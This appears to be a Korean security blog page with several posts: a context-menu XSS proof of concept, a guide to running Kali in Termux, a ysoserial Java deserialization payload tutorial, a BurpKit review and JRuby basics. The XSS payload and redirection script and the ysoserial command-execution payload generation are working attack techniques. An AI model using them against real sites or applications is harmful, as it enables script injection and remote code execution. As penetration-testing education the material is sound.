내용을 이야기하자면 오래된 XSS 테스팅 코드가 있는데, 현재에는 거의 막혀있습니다. 재미있는 버그 하나와 이 코드를 이용해서 XSS가 가능한 사례인데요.
가볍게 읽어보도록 합시다.

Context Menu?

보편적으로 우클릭 시 나타나는 메뉴를 지칭합니다. 오늘 내용이 이 Context menu와 관련이 있어 간략하게 소개합니다.

GUI Application에선 굉장히 편리한 메뉴이지요. (Burp extender 만드는데 이거땜에 조금 빡쳤..)

Bug!?

웹 브라우저, 즉 Javascript 상 Context 메뉴의 재미있는 점은 Context menu가 열린 상태에서 페이지가 이동되면 Context menu를 연 곳에 내용을 가지고 있다는 점입니다.
Context menu가 열리고 페이지가 리다이렉션 될 때 소스보기로 보면 이동된 페이지가 아닌, 이동 시켜준 원본 페이지의 소스가 나타나게 됩니다.

<script>
  document.location.href="https://www.hahwul.com/p/introduction.html"
</script>

A(1.html)에서 Context menu를 열고 redirection으로 B(hahwul.com)으로 왔습니다.

Context menu의 소스보기를 누르면.. A의 소스가 열립니다!?

Vulnerability

이러한 점을 이용하여 A 사이트에서 Context menu로 공격코드를 불러오고(background-image가 여기서...쓰이다니) 이를 redirection 된 b 사이트에서 실행하여 해당 도메인의 영역에서 스크립트가 동작할 수 있게 해줍니다.
이렇게 동작하면 bookmarklet이나 debugger 계열 스크립트처럼 페이지 내부에 직접 삽입된 것과 동일한 효과를 가져 대상 도메인에서 코드가 동작할 수 있게 됩니다.

코드를 보면..

1초 간격 차이로 공격코드 페이지와 타겟 페이지를 띄웁니다. 이는 뒤 공격코드 페이지에서 history,back()으로 페이지를 넘겨 해당 도메인에서 코드가 실행되게 사용한 방법이죠.
<button id="qbutt">click me</button>

<script>
var qwin;

qbutt.onclick=e=>{
 qwin=open('https://addons.mozilla.org/','qab'); // addons 사이트를 오픈, history.back() 시 되돌아갈 주소를 미리 만듬
 
 setTimeout(function(){
  open('imgXss.html','qab') // 1초 뒤 imgXss.html 파일을 오픈
 },1000)
}
</script>

공격코드인 imgXss.html 파일입니다. 실제론 XSS 삽입 페이지 여러개로 구성할 수 있을듯합니다.

imgXss.html
<style>*{background-image:url('javascript:alert(location)')}</style>

<b> Right click, wait for redirection then click 'view background image'</b>

<script>
window.oncontextmenu=e=>{
 setTimeout("history.back()",100) // 1초 뒤 뒤로 이동
}
</script>

아주 고전적인 공격코드인데, CSS에 배경 이미지 부분에 Javascript 코드를 넣습니다. 그리고 사용자에게 우클릭을 유도 후 view backgroudn image를 누르게 하여 Javascript를 실행하게 하는데요,
여기서 1초 뒤 history.back()으로 아까 addons 페이지로 넘깁니다. 그럼 Context menu는 공격코드쪽 페이지니 Javascript를 호출하도록 할 것이고 도메인은 Addons에서 동작하게 됩니다.


Share: | Coffee Me:

Not-rooted android Kali linux with Termux!(비 루팅폰에서 칼리 구성하기)

지난번에 かりまに@kali-mani가 안드로이드 디바이스에 Kali linux를 올렸길래 루팅 상태에서 Nethunter를 사용한건지 물어봤는데 대답은 “No” 였습니다.

그러면서 비 루팅 상태에서 Termux를 통해 설치했다고 이야기 줬는데요. 저도 한번 세팅하면서 글로 남겨둡니다.

Termux?

Hax4us github를 통해 배포하는 Android 앱이자, Play store 에 무료~유료 앱으로 올라와있습니다.
간단하게 설명드리면 안드로이드 디바이스에서 리눅스를 사용할 수 있도록 지원해주는 앱이며 비 루팅 환경에서 Linux 환경을 사용할 수 있도록 구현되어 있습니다.
물론 덤으로 apt 까지 제공해주기 때문에 다른 어플리케이션들도 쉽게 설치할 수 있게되죠(마치 탈옥 ios 기기 쓰는 기분이랄까요)

https://github.com/Hax4us/Nethunter-In-Termux

Install NetHunter(Kali)

우선 Nethunter가 동작하는 방식에 대해 약간 알고가면 편한데요. Nethunter는 arm으로 컴파일된 테스팅 툴 바이너리 + APK 조합으로 한번에 압축 풀고 디바이스에 설치하게 됩니다.
다만 비 루팅 상태에서 설치하기 떄문에 모든 툴을 다 깔수가 없습니다. 그래서 Hax4us가 만들어놓은 netbunter 압축으로 설치를 진행합니다.

우선 curl이 없기 떄문에.. curl이나, wget을 설치해줍니다.

#> pkg install curl

아까 이야기드린 nethunter 파일을 다운로드 받습니다.

#> curl -LO https://raw.githubusercontent.com/Hax4us/Nethunter-In-Termux/master/kalinethunter

or

#> wget https://raw.githubusercontent.com/Hax4us/Nethunter-In-Termux/master/kalinethunter

다운받은 후 실행권한을 주고 kalinethunter를 실행하게 되면 설치가 진행됩니다.

#> chmod +x kalinethunter
#> ./kalinethunter

설치가 완료되면

#> startkali

명령으로 kali linux 환경으로 진입할 수 있습니다.

추가로 apt-get 사용 관련해서 인증서 관련 처리가 필요할 떄가 있는데요. 리눅스에서 처리하는 것과 동일합니다.

#> apt-key adv --keyserver hkp://keys.gnupg.net --recv-keys 7D8D0BF6
#> apt-get update

Kali on NetHunter와 Kali on Termux의 차이

Kali 상태에선 거의 동일하다고 봅니다. Termux로 안드로이드 시스템이 아닌 내부적으로 구축된(?) 리눅스 환경에서 동작하기 떄문에 Termux에서의 Kali는 NetHunter나 기본 PC Kali와 거의 유사할겁니다.
다만, NetHunter 자체적인 스크립트와 Apk 파일에 대해선 차이가 있습니다. Nethunter는 루팅을 기본으로 하기 떄문에 Root 권한을 사용하는 앱 또한 사용이 가능합니다.




Share: | Coffee Me:

6/09/2018

YSoSerial - Java object deserialization payload generator

2017년 OWASP TOP10에 새로운 공격 벡터가 올라왔었는데요. 바로 Insecure deserialization 입니다. (https://www.hahwul.com/2017/10/web-hacking-owasp-top-10-2017-rc2-review.html)

은근히 포인트가 많지만 실제 공격 성공으로 만들기엔 조건이 까다로운 경우가 많은데요. 오늘은 그 까다로운 경우 중 하나인 Payload 만들기, 그 중에서도 이를 쉽게 지원해주는 툴에 대한 이야기를 하려고 합니다.

YSoSerial(Why so serious)


ysoserial

위에서 간략히 설명드린대로 Deserialization을 위한 도구이며 Jocker의 명대사인 Why so serious를 모티브로 이름을 지은 것으로 보입니다.
(네이밍 센스보소..)

Deserialization 시 JSON이나 여러 포맷으로 저장된 데이터를 Object, String, Interger 등 내부 코드로 환원하는데 이 과정에서 악의적인 Object, 즉 코드를 삽입한다는 것은 익히 아시고 계실겁니다.
다만 실제로 테스팅시에는 그리 호락호락하진 않았습니다. deserialization 포인트가 있다고 해도 사용할 수 있는 Method의 제한을 받고있고, 이를 기반으로 Payload 를 생성하는 것도 굉장히 불편한 일이죠.
(대부분 취약점 분석이 그렇겠지만.. BlackBox Testing 이면 더더욱...)

ysoserial은 공격자가 원하는 명령 수행을 쉽게 하기 위해 gadget chains을 이용하여 payload를 생성해줍니다.
코드를 볼 수 있는 경우에는 덜하겠지만 코드를 보지 못하는 환경에서 공격코드 구현은 Binary exploit이 됩니다. 이는 매우 노가다이고 힘들기에, 대상 어플리케이션에서 사용하는 라이브러리를 이용하여 Payload를 만들어 사용합니다.
(이러면 직접 다 구현할 필요가 없어지죠)

공용 라이브러리에서 추출한 가젯을 가지고 페이로드를 빌드하는 것을 가젯 체인으로 부르는 것 같습니다.

Install

나름 긴 설명이 있었으니 후딱 설치해서 테스팅해봅시다. ysoserial은 Java code로 구현되어서 jar로 압축하여 사용 가능합니다.
아래 git에서 clone 받아 maven으로 빌드해주셔도 되고, JitPack에 올라온 build된 jar 파일을 바로 사용하셔도 좋습니다.

Git
#> git clone https://github.com/frohoff/ysoserial

JitPack
#> wget https://jitpack.io/com/github/frohoff/ysoserial/master/ysoserial-master.jar

다운로드/빌드가 완료되면..

#> java -jar ysoserial-master.jar

Payload type

오늘자 기준으로 대략 30개 정도의 payload 옵션이 존재합니다. 각각 Java~Framework 버전에 따라 사용하실 수 있습니다.

  Available payload types:
     Payload             Authors                     Dependencies
     -------             -------                     ------------
     BeanShell1          @pwntester, @cschneider4711 bsh:2.0b5
     C3P0                @mbechler                   c3p0:0.9.5.2, mchange-commons-java:0.2.11
     Clojure             @JackOfMostTrades           clojure:1.8.0
     CommonsBeanutils1   @frohoff                    commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2
     CommonsCollections1 @frohoff                    commons-collections:3.1
     CommonsCollections2 @frohoff                    commons-collections4:4.0
     CommonsCollections3 @frohoff                    commons-collections:3.1
     CommonsCollections4 @frohoff                    commons-collections4:4.0
     CommonsCollections5 @matthias_kaiser, @jasinner commons-collections:3.1
     CommonsCollections6 @matthias_kaiser            commons-collections:3.1
     FileUpload1         @mbechler                   commons-fileupload:1.3.1, commons-io:2.4
     Groovy1             @frohoff                    groovy:2.3.9
     Hibernate1          @mbechler
     Hibernate2          @mbechler
     JBossInterceptors1  @matthias_kaiser            javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     JRMPClient          @mbechler
     JRMPListener        @mbechler
     JSON1               @mbechler                   json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
     JavassistWeld1      @matthias_kaiser            javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
     Jdk7u21             @frohoff
     Jython1             @pwntester, @cschneider4711 jython-standalone:2.5.2
     MozillaRhino1       @matthias_kaiser            js:1.7R2
     Myfaces1            @mbechler
     Myfaces2            @mbechler
     ROME                @mbechler                   rome:1.0
     Spring1             @frohoff                    spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
     Spring2             @mbechler                   spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
     URLDNS              @gebl
     Wicket1             @jacob-baines               wicket-util:6.23.0, slf4j-api:1.6.4


Generate Payload!

1번쨰 인자값으로 Payload 옵션을 넘겨주고 두번째 인자값으로 실행할 명령을 넘겨주면 됩니다.

#> java -jar ysoserial-master.jar Spring2 ls
��srIorg.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider�J��A�IindexL
methodNametLjava/lang/String;providert?Lorg/springframework/core/SerializableTypeWrapper$TypeProvider;xptnewTransformers}=org.springframework.core.SerializableTypeWrapper$TypeProviderxrjava.lang.reflect.Proxy�'� �C�Lht%Ljava/lang/reflect/InvocationHandler;xpsr2sun.reflect.annotation.AnnotationInvocationHandlerU���~�L
[....]

기본적으로는 화면에 출력하게 되고, 이를 파일로 저장하고 Burp에서 값을 불러와 사용해도 됩니다.

#> java -jar ysoserial.jar Spring2 ls > d_payload.txt
#> ftc d_payload.txt
[+] Success copy 4090 length data to clipboard
Share: | Coffee Me:

6/04/2018

BurpKit - Awesome Burp suite Extender(Burp에서 개발자 도구를 사용하자!)

올해 초 쯤인가요? Payload 관련해서 공유 받은 내용이 있었는데, 알고보니.. 쓸만한 툴을 팍팍 찍어내고 계신 CrowdShield의 1N3의 Git이였습니다.
이중에서 하위 플러그인 디렉토리를 통해 Burp suite 확장기능을 추가로 배포하고 있는데요. 오늘은 그 중 하나인 Burp Kit에 대한 내용으로 글 작성해봅니다.

https://github.com/1N3/IntruderPayloads/tree/master/Plugins

Burp kit?

처음에 확장기능을 로드해보고 감이 왔었느데, 개발자 도구가 Burp 안으로 들어갔다라는 느낌을 받았었습니다. 물론 그떈 실제로 사용해본 상태가 아니였기 떄문에 느낌적인 느낌이였는데요.
최근에 깨작꺠작 써보니.. 그 느낌이 잘 맞았었네요.


Burp kit는 Burp suite 안에서 웹 페이지 렌더링과 JS Debugger, Console 등 웹 브라우저에서 개뱔쟈 도구를 사용할 수 있도록 지원해줍니다.
그러다 보니 Burp 화면에서 바로 Javascript에 대한 테스팅, 디버깅이 가능하여 분석하는데 있어 편리합니다.

Download & Install


우선 아래 Git 주소에서 BurpKit-1.02-pre.jar 확장기능 파일을 받아줍니다. 아래 Direct link 부분으로 raw 파일을 바로 받으셔도 됩니다.

Link
https://github.com/1N3/IntruderPayloads/tree/master/Plugins

Direct link
https://github.com/1N3/IntruderPayloads/raw/master/Plugins/BurpKit-1.02-pre.jar

다른 확장기능 로드하는 것과 똑같이 Burp > Extender > Add > jar 파일 로드하여 적용이 끝납니다.

How to use?

확장기능을 로드하면 Burpkitty, Burpscript IDE 라는 탭이 2개 생깁니다. 첨에 여기서 무언가를 할 수 있을거란 생각에 이리저리 굴려봤지만
잘 동작하지 않아서 좀 그랬었죠... 아마 기능 구현에 약간의 오류가 있지 않았을까 싶습니다.

위 부분 제외하고 사용법에 대해 이야기드리면, repeater와 proxy history 페이지 같은 MessageEditor 부분에서 사용이 가능합니다.
(MessageEditor는 Burp에서 API로 제공하는 IMessageEditor 컴포넌트, 컨트롤러 사용 부분으로 대다수 확장기능들과 기본적인 기능들 중 Request/Response 를 볼 수 있는 부분들 모두 해당되는 구간입니다)

이런 영역들이 IMessageEditor 부분입니다.

확장 기능 설치 이후에 MessageEditor를 보면 BurpKit 탭이 추가되어 있습니다.


원랜 없지만 새로 생김! 확장 기능 개발할떄도 MessageEditor 쪽 추가하면 저렇게 추가됨

들어가보면 Javascript console, XSS Tracker, Page Resources, Network, BurpScript IDE탭이 존재합니다.

Javascript console

웹 브라우저에서 사용하는 console과 동일합니다. 로드된 페이지의 Object에 대해 체크할 수도 있고 Javascript 자체에 대해서 테스트할 수도 있습니다.
추가로.. 개발자도구~IDE에서 지원하는 것과 같이 자동 완성 기능도 제공합니다.


XSS Tracker

XSS Tracker는 input<->output 간 테스트를 위해 사용하는 탭입니다. Taint 라는 값을 Request에 삽입하고 이를 추적해 XSS의 흐름(?)을 보는 기능으로 생각됩니다.
개인적으로 안쓰는 부분이라 정확하진 않습니다. 그냥 제 생각일뿐...

우클릭은 캡쳐가 안되요..

Page Resources

해당 페이지에서 추가로 로드한 페이지나 링크들을 나열해줍니다. Network 탭과 비슷하지만, 실제로 불러오지 않아지만 HTML&Javascript 단에서 불러올 가능성이 있으면 열어줍니다.
(예를들면 동적 페이지로 로드, display:none 처리로 객체 생성 안된경우)


Network

브라우저 개발자 도구의 Network 탭과 동일합니다. 페이지 요청 시 발생하는 Request/Response에 대한 정보를 담고있습니다.


BurpScript IDE

마지막으로 스크립트 코딩, 페이지 삽입을 위한 IDE(? 라고 하기엔 좀 기능이 적지만..)입니다. 개인적으로 약간 아쉬움이 남는 기능인데, 전 처음에 Java단 코드
즉 Burp 자체를 제어하는 코드를 작성하고 적용하는 부분이라고 생각했지만 Javascript 코드만 처리할 수 있습니다.
(만약 Java단 제어가 되는거였다면 저기서 동적으로 확장기능 만들면 참 편리할듯.. 매번 Load/Unload 하기 넘 귀찮음, 느리고..)

Javascript 단 테스팅 코드를 미리 작성하고 저장해뒀다가 필요할 때 바로 눌러서 돌려볼 수 있습니다. 물론 이 기능 자체도 쓸만하긴합니다.
(예전에 Fiddler로 확장기능 만들던게 생각나네요. 그건 Js 기반이였는데)

Conclusion

최근에 봤었던 확장기능중에 개인적으로 손에꼽는 쓸만함입니다. 어차피 Active scan과 Passive scan으로 뻔한건 잡히니 우리는 장인 정신으로 자동화 도구가 보지 못하는 부분들을 봐줘야하는데, 이를 도와주는 확장 기능이란 것 자체가 분석가, 엔지니어 입장에선 아주 맘에드네요. :)

Share: | Coffee Me:

6/03/2018

JRuby를 이용한 Ruby & Java 간 크로스 개발

Burp suite extender 개발 needs 가 있어 간만에… 만들어볼까 합니다.
예전에 깨작깨작 할땐 Java로 했었늗네.. 이번엔 경험삼아 Jruby로 ruby와 java를 혼용해서 써볼까 합니다.

오늘은 Jruby에 대한 이야기를 조금 할까 합니다. 

Jruby란?

Jruby는 Ruby와 Java 간의 크로스 개발이 가능하도록 구성된 언어입니다. Ruby에서 Java function을 사용할 수 있고, 반대로 Java에서도 Ruby function을 사용할 수 있어집니다.
즉 양방향 엑세스가 가능하다나 소리이지요.

 언어 구성 자체는 JVM상단에 Ruby언어를 재 구현한 것이라고 보시면 됩니다.

Ruby에서 Java call
require 'java'

frame = javax.swing.JFrame.new
frame.getContentPane.add javax.swing.JLabel.new('Hello, World!')
frame.setDefaultCloseOperation javax.swing.JFrame::EXIT_ON_CLOSE
frame.pack
frame.set_visible true

Java에서 Ruby call
//Example using JSR 233 Scripting for Java 6
ScriptEngineManager mgr = new ScriptEngineManager();
ScriptEngine rbEngine = mgr.getEngineByExtension("rb");
try {
  rbEngine.eval("puts 'Hello World!'");
} catch (ScriptException ex) {
  ex.printStackTrace();
}

java gem, jruby 설치

우선 java gem 설치가 필요합니다.
> gem install java
Fetching: java-0.0.2.gem (100%)
Successfully installed java-0.0.2
Parsing documentation for java-0.0.2
Installing ri documentation for java-0.0.2
Done installing documentation for java after 0 seconds
1 gem installed

Jruby도 설치해줍니다.
#> apt-get install jruby
Reading package lists... Done
Building dependency tree       
Reading state information... Done
The following packages were automatically installed and are no longer required:
  libdigest-md5-file-perl libdns-export169 libdns169 libhttp-parser2.7.1 libisc-e
[.....] 추가 패키지 무지하게 많음..


이제 irb를 통해 루비코드에서 불러보면.. 잘 로드 됩니다.
2.4.2 :003 >   require 'java'
=> true

 테스트 코드(버전출력,  Swing으로  Gui 구현, jar파일 불러오기

간단하게 Java version 출력해주는 코드를 Java 단에서 불러와봅시다.

require ‘java’ 
java_import java.lang.System
version = System.getProperties["java.runtime.version"]
puts version

> jruby jtest.rb
1.8.0_111-b14

Java swing 을 이용해서 Gui 프로그램을 Jruby로 ruby 코드에서 구현해보면 이렇습니다.
(Swing  싫어했느데.. 다시 하게 될줄이야..)

require 'java'

# Java 코드에선.. import javax.swing.JFrame;
frame = javax.swing.JFrame.new("Window") # Creating a Java JFrame
label = javax.swing.JLabel.new("Hello”)
# Java 코드에서 JLabel label = new Label(“Hello”); 와 같음

frame.add(label)  # 나머지 Java method 쓰는건 동일함
frame.setDefaultCloseOperation(javax.swing.JFrame::EXIT_ON_CLOSE)
frame.pack
frame.setVisible(true)

> jruby jruby.rb

Swing 으로 띄우던 것과 같습니다.


이미 만들어진 라이브러리(jar)를 가져오는건 더더욱 쉽습니다.
그냥 ruby에서 라이브러리 불러오는 것처럼 jar 파일을 require 로 불러와주면 끝납니다.

require 'path/to/mycode.jar'

 굿 잘 됩니다 :)
Share: | Coffee Me: